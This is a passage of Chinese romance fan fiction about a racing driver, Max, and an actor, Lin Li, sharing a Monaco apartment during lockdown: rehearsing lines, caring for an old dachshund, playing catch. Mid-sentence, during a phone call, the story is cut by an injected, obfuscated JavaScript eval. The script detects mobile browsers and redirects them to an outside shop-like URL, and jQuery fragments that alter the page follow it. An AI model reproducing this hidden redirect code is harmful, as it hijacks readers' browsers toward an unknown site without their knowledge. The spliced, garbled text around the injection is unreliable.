又是一个安静的早晨。
林利推开卧室门，阳光斜斜地切过地板。麦克斯正挂在颈部训练器上，赤着上身，灰色的拉力带深深勒住额头和下颌。他的脖颈由于对抗拉力而青筋暴起，腮帮子绷得紧紧的，眼睛也跟着使劲。
麦克斯这副狰狞的表情太有意思了，林利憋笑憋得肚子疼。他躲在走廊阴影里，干坏事一样偷拍了一小段视频，打算作为黑历史收藏。录完后，他才蹑手蹑脚地挪到窗边。
盯着窗外那片蓝得发虚的海，林利翻开手里已经起了毛边的剧本，低声重复着台词：“你是来唱歌的……还是来当活化石的？”
他试了两种重音，第一次太软，鼻音重了点，像是来安慰人的；第二次又太硬，尾音收得太死，像是来讨债的。都不对，史蒂芬·宾德这种角色，他说话得带点自命不凡的刻薄，但又能让听者清醒地做出改变。
“感觉你要对我严刑逼供了。”麦克斯突然出声，猛地撤掉阻力带，金属扣件撞出清脆的一声。他站起身，大口喘着气。许久没修理的金发湿漉漉地贴着额头，眼下因为缺氧和劳累憋出两坨热红。和林利视线对上的瞬间，他眼神里训练时的狠劲迅速垮了下去，变成了一点带着赖皮的嬉笑：“饶了我吧，先生。我什么都招了。”
“瞎说什么。”林利瞪了他一眼，眉头拧成一个小疙瘩，“我的语气还是不对。活化石——，活化石……麦克斯，如果你是一个大明星，听到我用这种‘你过时了’的语气说话，你会想揍我吗？”
“不，我不想揍你。”麦克斯随手抓起毛巾在脸上一通乱抹，弯起那双冰蓝色的眼睛走了过来，“我想亲你。”
林利终于从死磕了半小时的台词上回过神，扫了一眼麦克斯发红的脖子，忍住笑意，拿起剧本挡住他凑过来的脸：“请认真一点，回答我，我那样说你会想揍我吗？”
“如果你这么对我说话，我会觉得你挺欠的，但大概会忍不住想证明给你看，我还没老到进博物馆。”麦克斯打量着林利那副纠结的样子，露出平齐的白牙，笑得没心没肺。“不过，你要是真找不着那种损人的感觉，可以想象一下霍纳平时在采访里阴阳怪气的样子。”
林利脑补了一下红牛领队的招牌笑容，竟然觉得非常有道理。
就在这时，门口传来一声短促的抓挠声，伴随一阵指甲敲击地面的细碎声音。
林利一愣：“Spyke回来了？”
“嗯，布莱德利刚刚去接的。这小不点在托管所住得都快不认识家门了，听说在那儿差点跟一只吉娃娃打起来。”
麦克斯走过去打开门，一个棕色的小短腿身影立刻像鱼雷一样冲了进来，在地板上做了个漂移。Spyke，这只十一岁高龄的腊肠犬，身体仍然很健康。它一头撞在林利的小腿上，摇动的尾巴啪嗒啪嗒地敲着地板。
“嘿，小不点。”林利蹲下身，揉了揉Spyke垂下来的大耳朵，厚实又温暖，就是有点臭臭的大米饭味。
麦克斯靠在墙边，看着林利熟练地安抚狗狗，突然“咳咳”了一声，从门口抽屉上抓起一把钥匙扔了过来。钥匙在空中划出一道弧线，上面挂着个深蓝色的磨砂吊牌，印着熟悉的红牛标志。
“拿着。”麦克斯扬了扬下巴，语气很随性，“以后进门自己开，省得我还要停下手上事情给你开门。虽然现在外面哪都去不了，但……拿着吧。”
林利掂了掂钥匙串，分量其实很轻，但揣进口袋里时又觉得沉甸甸的。
……
随着时间一天天变长，两人的生活逐渐像两团不同颜色的黏土揉在了一起。
原本麦克斯整洁又单一的客厅，开始长出了一些不属于赛车手的痕迹。厨台上堆满了林利各种产地的咖啡豆，甚至还摆上了几只从昆士兰带回来的质感温润的陶土杯。麦克斯厚厚的、印满了赞助商的宣传册被林利拿来压住了随手记下灵感的草稿纸，甚至模拟器电脑机箱上，也偶尔会躺着一支林利随手搁下的润唇膏。麦克斯的公寓发生着充满生活毛刺的、温热的变化。
下午，麦克斯正蹲在沙发边调试自己的电脑，嘴里还咬着一根黑色扎带，显得有点滑稽：“林，为什么Spyke现在睡觉只愿意钻你的毯子，都不来找我了？”麦克斯含糊不清地念叨，“我才是养了它十几年的那个人，对吧？”
“因为你抱它抱得太紧了，Spyke刚才好几次蹬腿抗议，你没看见吗？”林利躺在沙发椅上，手里拿着手机，反复听着当年宾德本人的采访录音。他头也不抬地回答，“而且，它说它更喜欢我身上的味道，这叫品味。”
麦克斯嗤笑一声，把手里的线缆理顺：“我别扯了，我们明明用的是同一种沐浴露，连牙膏都是同一个管里挤出来的。”
林利转过头看向麦克斯，他正皱着眉头和一根网线死磕。“麦克斯，你说，宾德在吼猫王的时候，心里会紧张吗？那可是当时最红的明星。”
麦克斯停下手里动作，认真地想了想，习惯性地鼓了鼓腮帮子：“如果你在做一件大事前不紧张，那说明你并不在乎这件事。我觉得宾德肯定紧张，但他不能表现出来。就像我们比赛的时候，哪怕赛车部件飞掉了，或者前面的人突然爆胎，GP在TR里的声音也一样很沉稳。”
麦克斯总能从自身职业角度出发解答林利的疑惑，简单有效。
手机在桌上嗡嗡作响，斯科特打来电话。
“林，我听说华纳那边已经有人开始尝试线上试镜了，大家都在想办法熬过去。”斯科特的声音掩不住地焦虑，“你在那边……一切还好吗？别忘了锻炼和练习，小心复工的时候你穿不进定制的衣服。”
“我每天都在揣摩角色，斯科特。而且每天都有锻炼，非常严格。”林利看了一眼正对着说明书钻研的麦克斯，嗓音带上了点笑意，“你不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159559|196580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
用担心，我保证结束后立刻复工，状态绝对比之前还好。”
挂掉电话，林利一抬头，发现麦克斯不知道什么时候已经掏出两颗网球，一脸嘚瑟地站在他身边。
“今天你还没锻炼呢，来吧，顺便帮我也练习一下，我们来互相接球。”麦克斯递给林利一个挑衅的眼神，眉毛挑了两下，洋洋得意。
两人折腾了一会，面对面摆好姿势。林利半蹲身体，双手握住球，盯着麦克斯做了几个鬼脸想干扰他。就在麦克斯破功笑出来的瞬间，林利突然松开左手。
“啪。”麦克斯反应快得惊人，球还没落到膝盖位置就被截获了。
“嘿，别故意逗我笑，你在作弊。”麦克斯无奈地拧了拧鼻子，还是跟着笑了出声，眼睛亮晶晶的。
最后一次，林利两手同时撒开。麦克斯为了接球猛地向前一扑，重心移得太快，整个人直接冲进林利怀里。林利扶住他的肩膀，顺势伸长胳膊搂了过去。
麦克斯还没喘过气的呼吸、剧烈跳动的心脏、运动后热烘烘的体温……林利任由自己沉浸在这一刻，连空气中浮动的灰尘都让他感到一种前所未有的充实。
麦克斯拉着他走向岛台，炫耀般地开始捣鼓一堆花花绿绿的罐子。
厨房里弥漫起一股奇怪的味道。
“麦克斯，认真的，你在制作什么化学试剂吗？”林利探过头闻了闻杯子里的乳白色液体，嫌弃地做了个呕吐的动作，“这味道简直能把Spyke熏跑。”
“尝尝吧，这是健康。斯科特不是怕你长胖吗？喏，这一杯能保证所需的所有营养物质，一点多余的卡路里都没有。”麦克斯抱着肩膀靠在冰箱边，一脸“我是专家”的表情。
“我才不会喝这种东西，我宁愿喝水。”林利一把拿过杯子，在麦克斯抗议的眼神中，将里面的不明液体“哗啦”全部倒入榨汁机。他加了半瓶燕麦奶，又切了几颗蓝莓扔了进去。
“
这才是健康。”林利倒出一杯塞进麦克斯手里，“能让口感好一点，最起码喝得进去。”
麦克斯皱了皱鼻子，犹豫了一下，还是抬手喝了一口。他吧唧了一下，嘴上挑剔：“有点发腻。”却咕噜咕噜灌了个底朝天。
他洗干净杯子，从背后环住林利的腰。Spyke在他们脚下卧成一团，发出舒服的鼾声。窗外，摩纳哥的灯火一盏盏点亮。
“叮。”手机响了一下，麦克斯掏出来看了一眼，“FIA发邮件了，让我参加这周末的虚拟大奖赛。”麦克斯撇了撇嘴，“他们就会折腾人，《F1 2019》的物理反馈一点也不真实，完全是在浪费时间。”
“那你要去吗？”林利回过头看他。
“不去，没意思。我都没怎么玩过这个游戏，连怎么调试都搞不明白。”他转过头，眼神热切地指了指放着模拟器的房间，“我要参加别的比赛，玩点真东西。”